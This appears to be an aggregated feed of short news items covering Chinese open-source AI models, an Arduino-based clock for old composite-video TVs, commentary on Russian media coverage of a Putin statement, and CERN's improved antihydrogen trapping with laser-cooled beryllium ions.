Secondo i dati del MIT e di Hugging Face, DeepSeek e Qwen di Alibaba Cloud sono i modelli open source più scaricati dalla Cina. Il Financial Times ha riportato che il modello DeepSeek-R1 ha scioccato la Silicon Valley: utilizza costi e potenza di calcolo bassi, ma le sue prestazioni sono paragonabili ai migliori modelli statunitensi, sollevando dubbi sulla capacità dei laboratori di intelligenza artificiale statunitensi di mantenere il loro vantaggio competitivo.

Esperti del settore hanno dichiarato al Financial Times che, nonostante la serie di misure adottate dagli Stati Uniti per reprimere la Cina, come i controlli sulle esportazioni di chip, la Cina ha un gran numero di talenti eccezionali che hanno dimostrato grande creatività nello sviluppo di modelli open source.

Nel tentativo di vincere la cosiddetta “corsa all’intelligenza artificiale”, l’amministrazione Trump stava cercando di convincere le aziende americane a investire in modelli open source che incarnassero i “valori americani”. Tuttavia, il numero di grandi team di sviluppo indipendenti per modelli open source negli Stati Uniti è molto inferiore rispetto alla Cina, e giganti della tecnologia statunitensi come Meta stanno ora scegliendo di aumentare i loro investimenti in modelli closed source.

Ad agosto di quest’anno, OpenAI ha rilasciato il suo primo lotto di modelli “open weights”. Questi modelli sono gratuiti, ma le informazioni che forniscono non sono complete come quelle dei modelli open source e non includono il codice e i dati di training necessari per addestrare un modello da zero.

L'articolo La Cina supera gli Stati Uniti nei modelli di intelligenza artificiale open source proviene da Red Hot Cyber.

Any Old TV Can Be A Clock With Arduino

If you’ve got an old black and white TV, it’s probably not useful for much. There are precious few analog broadcasters left in the world and black and white isn’t that fun to watch, anyway. However, with a little work, you could repurpose that old tube as a clock, as [mircemk] demonstrates.

The build is based around an Arduino Nano R3. This isn’t a particularly powerful microcontroller board, but it’s good enough to run the classic TVOut library. This library lets you generate composite video on an Atmel AVR microcontroller with an absolute minimum of supporting circuitry. [mircemk] paired the Arduino with a DS3231 real-time clock, and whipped up code to display the time and date on the composite video output. He then also demonstrates how to hack the signal into an old TV that doesn’t have a specific input for composite signals.

You’ll note the headline says “any old TV can be a clock,” and that’s for good reason. Newer TVs tend to eschew the classic composite video input, so the TVOut library won’t be any good if you’re trying to get a display up on your modern-era flatscreen. In any case, we’ve seen the TVOut library put to good use before, too. Video after the break.

youtube.com/embed/JuSsQqInKgo?…

hackaday.com/2025/11/27/any-ol…

Today #Putin announced that #Russia is “conducting military operations in Komsomolsk” and even “took a number of buildings”.

Most Russian news portals simply repeated his ramblings as usual without much checking, but Lenta tried to be helpful and explained that Komsomolsk is the Soviet name of Horishni Plavni, a town in Poltava oblast’.[^1]

The problem is that Horishni Plavni is located in central Ukraine, around ~250 km from nearest active combat zone! But even if Lenta made a mistake, the Komsomolsk still doesn’t exist - any nearest location with similar name (Komsomolskyi) is located in Luhansk oblast[^2] and occupied since 2014. There’s also two Komsomolsk in the Crimea.

What Putin had in mind will probably forever remain a mystery, but it clearly demonstrates the level of “journalism” in Russia AD 2025 - they’re brainlessly repeating whatever Kremlin reports with zero verification or questions.

[^1]: lenta.ru/news/2025/11/27/putin…

[^2]: deepstatemap.live/#dl!coords!4…

Boosting Antihydrogen Production using Beryllium Ions

Antihydrogen forms an ideal study subject for deciphering the secrets of fundamental physics due to it being the most simple anti-matter atom. However, keeping it from casually annihilating itself along with some matter hasn’t gotten much easier since it was first produced in 1995. Recently ALPHA researchers at CERN’s Antimatter Factory announced that they managed to produce and trap no fewer than 15,000 antihydrogen atoms in less than seven hours using a new beryllium-enhanced trap. This is an eight-fold increase compared to previous methods.

To produce an antihydrogen atom from a positron and an antiproton, the components and resulting atoms can not simply be trapped in an electromagnetic field, but requires that they are cooled to the point where they’re effectively stationary. This also makes adding more than one of such atom to a trap into a tedious process since the first successful capture in 2017.

In the open access paper in Nature Communications by [R. Akbari] et al. the process is described, starting with the merging of anti-protons from the CERN Antiproton Decelerator with positrons sourced from the radioactive decay of sodium-22 (β⁺ decay). The typical Penning-Malmberg trap is used, but laser-cooled beryllium ions (Be⁺) are added to provide sympathetic cooling during the synthesis step.

Together with an increased availability of positrons, the eight-fold increase in antihydrogen production was thus achieved. The researchers speculate that the sympathetic cooling is more efficient at keeping a constant temperature than alternative cooling methods, which allows for the increased rate of production.

hackaday.com/2025/11/25/boosti…